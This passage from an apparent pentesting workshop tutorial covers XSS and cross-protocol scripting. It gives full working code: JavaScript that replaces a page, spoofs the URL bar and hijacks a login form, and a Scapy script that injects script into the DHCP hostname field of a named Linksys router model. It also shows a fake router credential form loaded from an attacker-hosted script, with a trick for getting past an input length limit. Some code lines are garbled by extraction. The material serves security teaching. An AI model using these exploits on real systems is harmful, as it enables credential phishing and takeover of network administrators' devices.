15 </html>
Now we have to write the code responsible for the page modification, the first thing we have to care
of is the URL bar behavior as if a user sees strange strings in it could suspect that he has fallen
victim of an attack. The URL bar modification could be achieved using the function window.history.
replaceState() in the following way:
var HIST_STATE = login page;
var HIST_LOCATION = /login.php;
window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION);
As a result of this operation the URL bar will change from what (before the history window.history.
replaceState() is executed) to what (after the history window.history.replaceState() is
executed).
The following step is needed to clear the page content. This operation is necessary in case of high
network latency. Without this operation the user will be able to see that a web page is not properly
formatted because of the injection. Briefly, this code will remove the whole content of the body and will
replace it with a new body and the message Page is loading .To change the web page aspect you
can use the following code:
22
var h3Section = document.createElement(h3);

var bodySection = document.getElementsByTagName(body)[0];
h3Section.innerHTML = Page is loading ;

bodySection.parentNode.removeChild(bodySection);
document.body.appendChild(h3Section);
As result of this operation the page content will change from to what is shown in Figure 21.
Figure 21 Page content before the modifications
Figure 22. Page content after the modifications
Finally it is time to replace the content. Since Im a lazy boy. Im going to show you a technique that
will surely work on firefox (it should be tested on other browsers but Im sure that it does not work on
Internet Explorer), and that it is capable to replace the whole page in one shot. To replace the page
content the script will issue an XMLHttpRequest, once the page is loaded in background the content
is replaced by using the functions document.open(), document.write() and document.close().
In order to modify the page behaviour, the script, before writing the page using the above functions,
makes some manipulation of the resulting html using the strings manipulation functions to insert the
arbitrary script and to modify the form action. The code responsible for this is the following:
1 var TARGET_URL = /login.php;
2 var xmlHttpRequest = null;
3
4 var scriptContent =
5 <script type=text/javascript>function doHttpPost(){ +
6 var form=document.getElementById(\user-login-form\);+
7 alert(\username=\+ form.elements[0].value+\+
8 &password=\+form.elements[1].value);+
9 return false;}</script>;
10
11 function fillPage(){
12 if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
13
14 var oldAction = action=userinfo.php;
15 var newAction = id=user-login-form action=# onsubmit=return
doHttpPost();;
16 var splitmarker = </head>;
17 var originalPage = xmlHttpRequest.responseText;
18 var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker));
19 var afterInjection = originalPage.substring(originalPage.
20 var pageResult = beforeInjection + scriptContent + afterInjection;
21 pageResult = pageResult.replace(oldAction, newAction);
22
23 document.open();
24 document.write(pageResult);
25 document.close();
26 }
27 }
28
29 try {
30 xmlHttpRequest = new XMLHttpRequest();
31 } catch (e) {
32 alert(XMLHttpRequest not available :();
33 }
34
35 xmlHttpRequest.onreadystatechange = fillPage;
36 xmlHttpRequest.open(GET, TARGET_URL);
37 xmlHttpRequest.send(null);
23
Some clarifications about the script: after the object instantiation, from line 29 to 33, we set an
handler for the onreadystatechange event, at line 35. After the request is sent, at line 37, using the
GET method on the target page defined at line 36, the javascript will start to hit our handler function.
Oncethe page is fully downloaded (xmlHttpRequest.readyState = 2 and xmlHttpRequest.

status = 200), at line 12, the string manipulation takes place and the page content replacement
occurs inside the fillPage() handler. The original html undergoes two fundamental changes: the first
change regards the script injection, using the substring functions, at lines 18, 19, with the marker
defined at line 16, the downloaded html content is modified with the insertion of the script, defined
atline 4. At line 20 you can see the result of the operation. the second change regards the form
action. At line 21 the original action, the one defined at line 14 is substituted with the new action,
which allows the execution of the arbitrary script once the form is submitted, as defined at line 15.
After the changes are made the page is rendered to the user from line 23 to line 25. in this PoC
thescript will popup the supplied credentials once the form is submitted. By putting this all together,
the final script is the following:
1 var HIST_STATE = login page;
2 var HIST_LOCATION = /login.php;
3 var TARGET_URL = /login.php;
4
6 <script type=text/javascript>function doHttpPost(){ +
7 var form=document.getElementById(\user-login-form\);+
9 &password=\+form.elements[1].value);+
10 return false;}</script>;
11
12 var xmlHttpRequest = null;
13
14 function fillPage(){
15 if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
16
17 var oldAction = action=userinfo.php;
18 var newAction = id=user-login-form action=# onsubmit=return
doHttpPost();;
19 var splitmarker = </head>;
20 var originalPage = xmlHttpRequest.responseText;
21 var beforeInjection = originalPage.substring(0, originalPage.
22 var afterInjection = originalPage.substring(originalPage.
23 var pageResult = beforeInjection + scriptContent + afterInjection;
24 pageResult = pageResult.replace(oldAction, newAction);
25
26 document.open();
27 document.write(pageResult);
28 document.close();
29 }
30 }
31
32 window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION);
33
34 var h3Section = document.createElement(h3);
35 var bodySection = document.getElementsByTagName(body)[0];
36
37 h3Section.innerHTML = Page is loading ;
38 bodySection.parentNode.removeChild(bodySection);
39 document.body = document.createElement(body);
40 document.body.appendChild(h3Section);
41
42 try {
43 xmlHttpRequest = new XMLHttpRequest();
44 } catch (e) {
45 alert(XMLHttpRequest not available :();
46 }
47
24

48 xmlHttpRequest.onreadystatechange = fillPage;
49 xmlHttpRequest.open(GET, TARGET_URL);
50 xmlHttpRequest.send(null);
Figure 23 shows what happens once the modified form is submitted.
Figure 23. Page content after the modifications
Conclusions
In this module I have shown you how to detect and exploit the vulnerability that lead to XSS attacks.
During a penetration test you have to adapt these techniques against your scenario in order to
successfully exploit the vulnerabilities. In the next modules I will show you how to detect and exploit
vulnerabilities through protocols different from http.
References
1.
2.
3.
4.
5.
6.
https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project
http://portswigger.net/burp/
http://testphp.vulnweb.com/
http://testhtml5.vulnweb.com
https://code.google.com/p/domxsswiki/wiki/Sources
https://code.google.com/p/domxsswiki/wiki/Sinks
25
Module III
n the second module of this workshop series I have showed how to detect and exploit the
vulnerabilities that lead to the XSS attacks over the HTTP protocol, in this module I am going
toillustrate how to detect and exploit the vulnerabilities behind this kind of attack over protocols
different from HTTP. During the workshop, I will show how to use the network protocol analyzer and
the packet manipulation software in order to detect and exploit the vulnerabilities. Feel free to use
thetools you know best in order to apply these techniques during your work.
Hello, I am a Cross Protocol Scripting attack

Cross Protocol Scripting (XPS or CPS) attacks allow a threat agent to inject arbitrary malicious script
in a vulnerable web application relying on the same class of vulnerabilities used for the Cross Site
Scripting attacks. Although this kind of attacks are lesser-known (OWASP does not cover at all this
kind of attacks in its testing guide, and there are few public exploit\attacks), in my experience they
may result very effective even in well protected network environments: the typical counter-measures
adopted to defeat XSS attacks, look for attack pattern over the HTTP protocol but in this scenario
the attack pattern does not comes with an HTTP request so, very often, the network infrastructures
are completely unmonitored and unprotected from this kind of attack. The main difference between
classic XSS and this kind of attack is the protocol used as initial attack vector: to being able to inject
and execute the arbitrary malicious code, in the classic XSS scenario the HTTP protocol is used
while in the XPS scenario virtually each communication protocol containing strings information,
obviously displayed through a WEB interface, could be abused in order to inject arbitrary malicious
code. Dueto the nature of the attack, usually the XPS are persistent and the persistence depends
on protocols specific behaviors: for example, an XPS attack directed to a vulnerable WEB Mail
application, issued through the SMTP protocol last as long the e-mail is stored in the mailbox.
Animportant thing to keep in mind dealing with the XPS attacks is the target visibility and reachability
requirements: in order to abuse the lacks of output neutralization of a WEB Application, certain
protocols require that you share the same network of the target (e.g. XPS attacks made using the
DHCP protocol) others does not require any direct visibility of the target (e.g. XPS attacks made using
the SMTP protocol). As you may have noticed, spotting the vulnerabilities behind this kind of attack
could be a little bit complicated: since you are not manipulating standard http requests it is required
astrong knowledge of the protocols managed by the web application in order to successfully
deliver an attack.
26
How to detect the vulnerabilities used in XPS attacks

The discovery process used to detect the vulnerabilities that lead to XPS attacks is, in fact, a
two-phase process: In the first phase you have to analyze the targeted network protocol in order
tofigure out which protocol fields can be injected, in the second phase you have to modify the
network packets in order to inject your content. During a penetration test it is a common practice
to use anetwork protocol analyzer (Wireshark, tshark, tcpdump) for the first phase and a packet
manipulation software (scapy, hping) for the second phase. In this workshop I will show you how
touse Wireshark and Scapy. Since I will disclose an XPS vulnerability that insists on Linksys router,
all the examples are focused on the DHCP Protocol.
Wireshark[1] probably is the most known network protocol analyzer that allows you to see
whats happening on your network. Between the features of this software, the most useful during
apenetration test that you will mainly use are the following:

Deep protocol inspection: wireshark implements several protocol dissector that allow you to drill
down to the traffic you want to see. During a network penetration test your network interface could
receive several hundreds of packets per seconds, so its fundamental to learn how to design and
apply the capture and visualization filters to not get lost in the protocol analysis;
Offline analysis: while for certain class of attacks you can use wireshark in standalone mode
(capture and analysis), in a pentest scenario you may not be able to sniff traffic from your
workstation. Wireshark supports many formats (tcpdump (libpcap), Pcap NG, Microsoft Network
Monitor, etc.) that let you sniff from everywhere you want and conduct the analysis on your own
workstation;
Network Packets exportation: once you have finished your analysis wireshark lets you export
the packet so that other tools can read its content. In the specific case this feature is particularly
handy because exported packets can be handled by Scapy.
Considering the DHCP as the target protocol and considering also that you are able to directly
intercept the network traffic, in order to detect Web Application vulnerabilities and thus discover the
bugs behind XPS attacks, first you have to setup the network protocol analyzer in order to intercept
the network traffic. To do this you have to start the wireshark and choose the interface connected
tothe network to sniff from, in my case eth1, and then starts the packet capture as shown in Figure1.
Analternative method to start packet capturing is by using the Wireshark Capture Options. The
options allows you to specify a BPF[2][3] capture filter in order to capture only certain class of traffic,
in this case the udp traffic sent or received over the port 67 and 68. For this workshop purpose,
thedefault display filter is ok but in a real scenario you may need this feature, so Figure 2 shows how
tosetup wireshark to capture traffic using capture filters.
27
Figure 1. Wireshark setup, basic capture
Figure 2. Wireshark setup, capture options
Note: during the rest of the workshop, I assume you have not configured the capture filter (just
to show how the display filters work). Keep in mind that capture filters and display filters are two
differents things that come with two differents syntax.
If everything goes right, you should be able to see, as shown in Figure 3, the intercepted network
traffic through the wireshark graphical interface.
28
Figure 3. Wireshark intercepted traffic
Since we are analyzing the dhcp protocol it could be useful to filter out all the unnecessary protocols
from the view. Wireshark offers a set of visualization filter designed for this purpose. To filter just the
dhcp requests and responses we will use the bootp display filter. You may be wondering why filter
the bootp instead of dhcp, the answer is easy: dhcp is a client/server protocol used to dynamically
assign IP-address parameters (amongst other things) to a dhcp client. It is implemented as an option
of bootp[6]. To supply this filter it is enough to write bootp in the filter bar on the top of the interface
and then press the Apply button. Obviously you can chain more condition in a filter: suppose you
want to filter the dhcp packets sent from your network interface, the filter would be something like
bootp and (eth.src == 08:00:27:04:80:8c) where 08:00:27:04:80:8c represents your network
interface mac address. Figure 4 shows how to setup the filter.
Figure 4. Wireshark intercepted traffic
Once the display filters have been set it is time to issue a dhcp request to deeply analyze the content.
Under linux you can issue a dhcp request using the command dhclient. Since I am sniffing over the
interface eth1 I will issue the command dhclient eth1 as privileged user (root or using sudo/su-c).
Figure 5 shows the command issued and the network interface status before and after that the dhcp
has done his job.
29
Figure 5. Network interface status before and after the dhcp has done his job
If everything goes right your wireshark GUI should show, using the bootp visualization filter, 4 packets
related to the dhcp conversation:
PKT #167: The client issues a broadcast DHCP Discover, a message used to request IP address
information from a DHCP server. In each DHCP conversation this is the first message exchanged;
PKT #168: The server responds with a unicast DHCP Offer, a message containing an unleased IP
address and additional TCP/IP configuration information, such as the subnet mask and default
gateway.
PKT #169: Once the DHCP Offer has been received by the client, the client issues a broadcast
DHCP Request, a message that contains the offered IP address, and tells the server that the
offered IP address has been accepted;
PKT #172: Once the DHCP Rquest has been received, the server responds with a unicast DHCP
Ack, a message used to acknowledges the client request.
Figure 6 shows how the DHCP Conversation should appear in your wireshark GUI.
Figure 6. DHCP Conversation
By analyzing the protocol flow, it is clear that the chance to inject code occurs if the data transmitted
by the client using the message type DHCP Request is not properly validated and encoded by the
web applications. It is time to drill down the packet in order to find an injectable field. As you can
see by navigating the protocol fields, the DHCP offers several options, one of which is particularly
interesting because it accepts input by the users, Im talking about the Host Name option. Quoting
the RFC 1533[7]: This option specifies the name of the client. The name may or may not be qualified
with the local domain name. The RFC RFC 1533 also specifies the following limitations to the charset
usable in the Host Name options:
Letters: any one of the 52 alphabetic characters A through Z in upper case and a through z
in lower case;
Digits: any one of the ten digits 0 through 9;
Special characters: the only allowed special character is the hyphen
30
The RFC specification does not allow us to use the characters we typically need to inject some
javascript code. If it was properly implemented we would not be able to use the hostname option to
carry the attack, but our job is to control what happens in a real-life implementation. Figure 7 shows
the DHCP option Host Name highlighted in the PKT #169.
Figure 7. DHCP Host Name option
In the case of complex network protocols, it could be convenient to forge the modified network
packets starting from a packet capture trace file (pcap): building a packet from scratch for a complex
protocol would require a lot of effort, even more to reconstruct an entire conversation in order to inject
the malicious payload; sometimes you could also have to deal with an unknown protocol and starting
from something that actually work is always a good idea. Just for completeness of the information,
Iwill show you how to do that but in the rest of the workshop we will build the network packets from
scratch. First of all you have to stop the packet capture, otherwise you will not be able to export
packets. Once the wireshark is idle you have to ensure that a display filter is properly set and that
it shows exactly the packets you want. When your visualization filter is ok you can use the Export
Specified Packet function to export the selected packets. Figure 8 shows how to export the selected
network packets. Later, once I have introduced scapy, I will show you how to load network packets
from a pcap file.
31
Figure 8. Exporting network packets
At this point, the protocol analysis is finished and we have clearly understood where to inject the
malicious code. Its time now to introduce the packet manipulation software used in this workshop:
scapy[8]. Scapy is an interactive packet manipulation framework that is able to craft or decode
network packets of a wide number of protocols. Scapy is quite powerful because it enables you to
build exactly the packets you want either by using it through the interactive Python interpreter or by
loading its libraries inside your own code. During the workshop I will explain only the functionalities

used in order to exploit the vulnerabilities behinds XPS attacks, for a more complete reference of this
tool, please refer to the official documentation[9] or to the dedicated internet resources.
First, to begin with the injection tests, I will provide some basis about the scapy framework.
Inbrief, Scapy treats the network protocols as layers, each layer has its own properties (fields)
andisstackable. The layers used in this workshop are the following:
Ether: this layer represents the ethernet protocol whith all the fields defined by the protocol.
Forthe workshop purpose the relevant field is only the destination MAC address which is set
withthe fixed value ff:ff:ff:ff:ff:ff (Ethernet Broadcast);
IP: this layer represents the IP protocol, it provides access to all the fields defined by the
protocol. For the workshop purpose the relevant fields are the source address which is set with
the fixed value 0.0.0.0 and the destination address set with the fixed value 255.255.255.255
(IPBroadcast);
UDP: this layer represents the UDP protocol, it provides access to all the fields defined by the protocol.
For the workshop purpose the relevant fields are the source port set with the fixed value68 and the
destination port set with the fixed value 67 (The UDP ports used by the DHCPProtocol);
BOOTP: this layer represents the BOOTP protocol, it provides access to all the fields defined
bythe protocol. For the workshop purpose the relevant field is the client hardware address;
DHCP: this layer represents the DHCP options built on the top of the BOOTP protocol. For the
workshop purpose the relevant options are the message-type set with the value discover
orrequest depending on the message, the hostname set with our test payload and the request
address set with the offered ip address.
The described layers are stacked as shown in Figure 8.
32
Figure 8. Layer Stacking
To send a packet over the network at Layer 2, scapy uses the function srp(). The following is the
function prototype with the workshops relevant options described.
srp(pkts, filter=None, iface=None, timeout=2, inter=0, verbose=None, chainCC=0, retry=0,
multi=0, iface hint=None)
pkts: the network packet to send;

iface: listen answers only on the provided interface;
timeout: how much time to wait after the last packet has been sent. By default, sr will wait forever
and the user will have to interrupt (CtrlC) it when he expects no more answers;
verbose: set verbosity level;
multi: whether to accept multiple answers for the same stimulus.
USAGE EXAMPLE
>>> srp(Ether(dst=ff:ff:ff:ff:ff:ff)/ARP(pdst=192.168.0.1), iface=eth1,
multi=True,
timeout=2, verbose=0)
(<Results: TCP:0 UDP:0 ICMP:0 Other:1>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
>>>

So it is time now to put all together We have to forge the packets necessary to complete
aDHCP conversation and inject, inside the Host Name DHCP option, a pattern controlled by us,
<pentestmag> in this case, in order to determine whether our web application is injectable or not.
The following code implements the necessary conversation steps in order to inject our arbitrary code:
1 #!/usr/bin/python
2
3 from scapy.all import *
4
5 #
6 # Script Parameters
7 #
8
9 outIface=eth1
10 timeOut=2
11 atkPayload=<pentestmag>
12 discovered=0
13
14 # Device initialization
15 conf.checkIPaddr = False
16 fam, hw = get_if_raw_hwaddr(conf.iface)
17
18 # Send packet over the network until an answer is received
19 while (discovered == 0):
20 print [II] Forge DHCP Discover packet
21
22 dhcp_discover = Ether(dst=ff:ff:ff:ff:ff:ff) / \
23 IP(src=0.0.0.0, dst=255.255.255.255) / \
24 UDP(sport=68, dport=67)/BOOTP(chaddr=hw) / \
25 DHCP(options=[(message-type, discover), end])
26
27 print [II] Send DHCP Discover packet
28
29 answered, unanswered = srp(dhcp_discover, iface=outIface, multi=True,
timeout=timeOut, verbose=0)
30
31 if (str(len(answered)) > 0):
32 discovered = 1
33
34 sentPacket, receivedPacket = answered[0]
35 addressOffered = receivedPacket[BOOTP].yiaddr
36
37 print [II] Received DHCP Offer packet by + receivedPacket[IP].src + offered
address + addressOffered
38 print [II] Forge DHCP Request packet
39
40 dhcp_request = Ether(dst=ff:ff:ff:ff:ff:ff) / \
41 IP(src=0.0.0.0, dst=255.255.255.255) / \
42 UDP(sport=68, dport=67)/BOOTP(chaddr=hw) / \
43 DHCP(options=[(message-type, request),
44 (hostname, atkPayload),
45 (requested_addr, addressOffered), end])
46
47 print [II] Send DHCP Request packet
48 answered, unanswered = srp(dhcp_request, iface=outIface, multi=True,
timeout=timeOut,verbose=0)
33
As you can see from, line 19 to line 32, a discover loop is implemented. The loop sends a DHCP
Discover to broadcast until it receives an answer. Once the routine gets an answer, from line 34 to
line 35, that answer is parsed and the client hardware address is extracted. A DHCP Request routine
is implemented from line 40 to line 48 where the attack payload is written in the network packet.

It is time to test if the targeted web application is vulnerable. The target of this attack is the linksys
router WAG120N Firmware Version: V1.00.16. As you can see in Figure 9, the router provides to the
administrators an interface useful to check which clients connected to the local network has an ip
address obtained through the linksys DHCP server. In this interface, between the various information,
it is reported the hostname coming from the DHCP option Host name. As shown in the module II, we
expect to find the pattern inside the server response in case of a vulnerable page.
34
Figure 9. Linksys WAG120N Management Interface
Now its time to send our request and see what happens on the web application. Figure 10 shows
the web interface state after the DHCP Request has been sent over the network. As you can see the
Client Host Name seems empty.
Figure 10. Linksys WAG120N Management Interface after DHCP Request
To be sure that the injection did not work we must check the page source. In fact, as you can see, the
injected code works like a charm, you have just spotted a vulnerability that lead to XPS attacks.
Figure 11. Linksys WAG120N Management Interface page source
By slightly modifying the PoC we can also test if, through this vulnerability, we are able to inject
arbitrary code: substituting the payload at line 11 of the script with <script>alert(1);</script>
weshould be able to see a pop-up appearing once the client page is visited. Figure 12 shows
arbitrary code sent through the network. Figure 13 shows arbitrary code executed by visiting the
vulnerable web application page. Figure 14 shows exactly the expected arbitrary code injected inside
the generated web page.
Figure 11. Linksys WAG120N Management Interface XPS
35
Figure 12. Linksys WAG120N Management Interface XPS
Figure 13. Linksys WAG120N Management Interface page source XPS
As mentioned above it is possible to send packets with scapy just by modifying the packets stored
inside a pcap file. The following is the procedure to load a PCAP from the interactive command line:
# scapy
Welcome to Scapy (2.2.0)
1) Load the PCAP FILE
>>> bpacket = rdpcap(/root/PTMAGAZINE/dhcp-conversation.pcap);
>>> bpacket.summary
<bound method PacketList.summary of <dhcp-conversation.pcap: TCP:0 UDP:4 ICMP:0
Other:0>>
2) Find a request
>>> bpacket[0]
<Ether dst=ff:ff:ff:ff:ff:ff src=08:00:27:04:80:8c type=0800 |<IP version=4L ihl=5L
tos=010
options=c\x82Sc |<DHCP options=[message-type=discover requested_addr=192.168.0.106

pad pad] |>>>>>
3) Modify a request
>>> bpacket[4][BOOTP][DHCP]
<DHCP options=[message-type=request client_id=\x01$w\x03\xa3p( requested_
addr=192.168.0.100 hostname=Cosmo 81=\x00\x00\x00Cosmo vendor_class_id=MSFT 5.0
param_req_list=\x01\x0f\x03\x06,./\x1f!y\xf9+ end] |>
>>> bpacket[4][BOOTP][DHCP] = DHCP(options=[(message-type, request),(hostname,Hel
lo), (requested_addr, 192.168.0.20), end])
>>> bpacket[4][BOOTP][DHCP]
<DHCP options=[message-type=request hostname=Hello requested_addr=192.168.0.20 end]
|>
4) Send a request
>>> answered, unanswered = srp(bpacket[0], iface=eth1, multi=True, timeout=5,
verbose=1)
Write the XPS exploit

I would like to remark a concept from the Module II: It can be useful to trigger the execution of
an arbitrary pop-up as to demonstrate that a vulnerability that lead to XPS attack exists in a web
application, but it is rather useless from a pentester point of view because you cannot gain any
advantage from it. However, you can leverage an XPS by writing an exploit that can be useful during
a penetration test activity, for example by collecting the user credentials. Consider the following
scenario: during a network penetration test you identify a linksys router on you customer network
and the network admin periodically during the day checks for the clients connected to his network
through the vulnerable DHCP status page. This page does not have any login form so, to reach our
goal and collect the users credentials, we need to exploit the vulnerability identified on the page
through the identified XPS.The idea behind the exploit is quite simple: once the sysadmin visits the
management interface, the injected code will clear the current page, load the page with the scam
credentials check form and, when the form is submitted, it executes some actions.
The first step is to create a javascript that will reproduce the styles and the appearance of the layout
of the vulnerable device.The script can be done as follow:
36
1 var HEADER_IMG_TITLE = Linksys (C) by Cisco;

2 var HEADER_IMG_ALT = Linksys (C) by Cisco;
3 var HEADER_IMG_SRC = http://192.168.1.101/logo.png;
4 var HEADER_IMG_WIDTH = 660;
5 var HEADER_IMG_HEIGHT = 70;
6 var FOOTER_IMG_TITLE = Linksys (C) by Cisco;
7 var FOOTER_IMG_ALT = Linksys (C) by Cisco;
8 var FOOTER_IMG_SRC = http://192.168.1.101/footer.png;
9 var FOOTER_IMG_WIDTH = 660;
10 var FOOTER_IMG_HEIGHT = 50;
11 var FIELDSET_LEGEND_TEXT = User Authentication;
12 var LABEL_USER_TEXT = Username: ;
13 var LABEL_PASSWORD_TEXT = Password: ;
14 var LABEL_PASSWORDC_TEXT = Confirm Password: ;
15 var SUBMIT_TEXT = Submit;
16 var HEADER_HTML = <title>Conferma delle credenziali</title>;
17 var HISTORY_STATE = Confirm Credentials;
18 var HISTORY_LOCATION = /confirm.html;
19
20 var DOCUMENT_CSS =
21 .submit {margin-left: 4.5em; color: #FFFFFF; background: #165491; border: 1px outset
#404040;}+
22 .table-wrapper {background-color:#FFFFFF; display: table; margin-left: auto; marginright: auto;}+
23 .form-table-row {display: table-row;}+
24 .form-table-cell-header {background-color:#FFFFFF; display: table-cell; paddingbottom: 6px;}+
25 .form-table-cell-footer {background-color:#FFFFFF; display: table-cell;}+
26 body {background-color:#808080;}+

27 label {color: #FFFFFF; width: 8em; float: left; text-align: right; margin-right:
0.5em; display: block;}+
28 input {color: #000000; background: #FFFFFF; border: 1px solid #404040;}+
29 fieldset {border: 1px solid #5B5B5B;width: 20em; background: #2971b9;}+
30 legend {color: #FFFFFF; background: #165491; border: 1px outset #404040; padding:
1px 6px;};
31
32 /*
33 * The script must have at least doHttpPost function (), called by the onSubmit event
of
34 * the user form. In this PoC the javascript displays on the screen the credentials
35 */
36
38 function doHttpPost(){ +
39 var form=document.getElementById(\userForm\);+
41 &password=\+form.elements[2].value+\&passwordc=\+
42 +form.elements[3].value); return false;};
43
44 /*
45 * Getting Started. Makes the elements which will then be used to perform the
46 * redressing of the page
47 */
48
49 var scriptSection = document.createElement(script);
50 var documentStyle = document.createElement(style);
51 var headerImg = document.createElement(img);
52 var footerImg = document.createElement(img);
53 var divContainer = document.createElement(div);
54 var divForm = document.createElement(div);
55 var divCellHeader = document.createElement(div);
56 var divCellFooter = document.createElement(div);
57 var divRowHeader = document.createElement(div);
58 var divRowBody = document.createElement(div);
59 var divRowFooter = document.createElement(div);
60 var divFormBodyCell = document.createElement(div);
61 var userForm = document.createElement(form);
62 var formFieldset = document.createElement(fieldset);
63 var fieldsetLegend = document.createElement(legend);
64 var pUsername = document.createElement(p);
65 var pPassword = document.createElement(p);
66 var pPasswordC = document.createElement(p);
67 var pSubmit = document.createElement(p);
68 var labelUser = document.createElement(label);
69 var labelPassword = document.createElement(label);
70 var labelPasswordC = document.createElement(label);
71 var userName = document.createElement(input);
72 var password = document.createElement(input);
73 var passwordC = document.createElement(input);
74 var submit = document.createElement(input);
75
76 /*
77 * In the first phase of the exploit we must clean up the page. For convenience we
78 * remove all the contents of the head tag and all the content of the body tag so you
can
79 * generalize the exploit code
80 *
81 */
82
83 var bodySection = document.getElementsByTagName(body)[0];
37

84 bodySection.parentNode.removeChild(bodySection);
85
86 /*
87 * After cleaning the page, you have to rebuild inserting items created earlier
88 *
89 */
90
91 /* Script Elements */
92 scriptSection.text = scriptContent;
93 documentStyle.type = text/css;
94
95 /* Table Layout Elements */
96 divContainer.id = container;
97 divForm.className = table-wrapper;
98 divForm.id = form-container;
99 divRowHeader.className = form-table-row;
100 divCellHeader.className = form-table-cell-header;
101 divCellHeader.id = header-cell;
102 divRowBody.className = form-table-row;
103 divFormBodyCell.className = table-wrapper;
104 divRowFooter.className = form-table-row;
105 divCellFooter.className = form-table-cell-footer;
106 divCellFooter.id = footer-cell;
107
108 /* Images */
109 headerImg.title = HEADER_IMG_TITLE;
110 headerImg.alt = HEADER_IMG_ALT;
111 headerImg.src = HEADER_IMG_SRC;
112 headerImg.width = HEADER_IMG_WIDTH;
113 headerImg.height = HEADER_IMG_HEIGHT;
114
115 footerImg.title = FOOTER_IMG_TITLE;
116 footerImg.alt = FOOTER_IMG_ALT;
117 footerImg.src = FOOTER_IMG_SRC;
118 footerImg.width = FOOTER_IMG_WIDTH;
119 footerImg.height = FOOTER_IMG_HEIGHT;
120
121 /* Fileds */
122 fieldsetLegend.innerHTML = FIELDSET_LEGEND_TEXT;
123 labelUser.innerHTML = LABEL_USER_TEXT;
124 labelPassword.innerHTML = LABEL_PASSWORD_TEXT;
125 labelPasswordC.innerHTML = LABEL_PASSWORDC_TEXT;
126
127 labelUser.for = userName;
128 labelPassword.for = password;
129 labelPasswordC.for = passwordc;
130
131 /* Form */
132 userForm.id = userForm;
133 userForm.name = userForm;
134 userForm.method = post;
135 userForm.action = #;
136 userForm.setAttribute(onsubmit, return doHttpPost(););
137 userName.type = text;
138 userName.name = userName;
139 password.type = password;
140 password.name = password;
141 passwordC.type = password;
142 passwordC.name = passwordc;
143 submit.className = submit;
144 submit.type = submit;
38

145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
submit.name = submit;
submit.value = SUBMIT_TEXT;
/* Putting all togheter */
divContainer.appendChild(divForm);
divForm.appendChild(divRowHeader);
divForm.appendChild(divRowBody);
divForm.appendChild(divRowFooter);
divRowHeader.appendChild(divCellHeader);
divCellHeader.appendChild(headerImg);
divRowBody.appendChild(divFormBodyCell);
divFormBodyCell.appendChild(userForm);
userForm.appendChild(formFieldset);
formFieldset.appendChild(fieldsetLegend);
formFieldset.appendChild(pUsername);
formFieldset.appendChild(pPassword);
formFieldset.appendChild(pPasswordC);
formFieldset.appendChild(pSubmit);
pUsername.appendChild(labelUser);
pUsername.appendChild(userName);
pPassword.appendChild(labelPassword);
pPassword.appendChild(password);
pPasswordC.appendChild(labelPasswordC);
pPasswordC.appendChild(passwordC);
pSubmit.appendChild(submit);
divRowFooter.appendChild(divCellFooter);
divCellFooter.appendChild(footerImg);
/* Display the page */
if (documentStyle.styleSheet){
documentStyle.styleSheet.cssText = DOCUMENT_CSS;
} else {
documentStyle.appendChild(document.createTextNode(DOCUMENT_CSS));
}
39
document.head.innerHTML = HEADER_HTML;
document.head.appendChild(documentStyle);
document.body.appendChild(scriptSection);
document.body.appendChild(divContainer);
window.history.replaceState(HISTORY_STATE, HISTORY_STATE, HISTORY_LOCATION);
As you can see the script is nothing new, the page is built upon native DOM manipulation functions
mixed up with some css ripped from the router stylesheet and I have used the same techniques
introduced in the Module II to trick the users. The script above is stored on the root of my
webserver at the address http://192.168.1.101/xpsproto.js, so to instruct the server to download
this malicious script, the attack payload in the scapy script must be modified in the following way:
atkPayload=<script src=http://192.168.1.110/xpsproto.js></script>. Once the scapy
script has been launched again, the network traffic dump should look like the one shown in Figure 14.
Figure 14. Network traffic xpsproto.js
If everything goes right, you should see the form. Looking at the generated page, shown in Figure
15, its immediately clear that unfortunately something goes wrong. By watching a little bit deep in the
generated page sources, shown in Figure 16, we can find out what goes wrong.
40
Figure 15. DHCP Client table not modified
Figure 16. DHCP Client table generated page source
The page truncates our arbitrary input to 30 bytes, so in order to get our code executed we must find
a way to reduce the address length. We can use two tricks:
IP2Long: the trick consists in the transformation of the canonical ipv4 in its related numerical
version. You can do this with a little bit of python single line black magic. Just issuing the following
command will convert the canonical IPv4 192.168.1.101 in 3232235877: python -c import
socket, struct; print struct.unpack(>L,socket.inet _ aton(192.168.1.101))
[0]. So the attack pattern script must be modified again in the following way: <script
src=http://3232235877></script>

Apache DirectoryIndex: the directory index tells to apache which is the file to serve as default
index per directory. Set this parameter to the name of xpsproto.js in the default virtual host makes
apache to serve our javascript in response to the GET / request.
By issuing again the request we will finally be able to get our script interpreted by the browser.
Figure17 show the form rendered and Figure 18 shows our script succesfully executed.
41
Figure 17. Generated Form
Figure 18. Arbitrary code gets executed

Conclusions
In this module I have shown you how to detect and exploit the vulnerability that lead to XPS attacks.
During a penetration test you have to adapt these techniques against your scenario in order to
successfully exploit the vulnerabilities. In the next modules I will show you how to perform filter
evasion and how to use the freely available tools during your penetration test.
References
1. https://www.wireshark.org/
2. http://www.tcpdump.org/papers/bpf-usenix93.pdf
3. https://www.kernel.org/doc/Documentation/networking/filter.txt
4. http://wiki.wireshark.org/CaptureFilters
5. http://wiki.wireshark.org/DisplayFilters
6. http://wiki.wireshark.org/DHCP
7. https://tools.ietf.org/html/rfc1533
8. http://www.secdev.org/projects/scapy/
9. http://www.secdev.org/projects/scapy/files/scapydoc.pdf
10. http://www.secdev.org/projects/scapy/doc/index.html
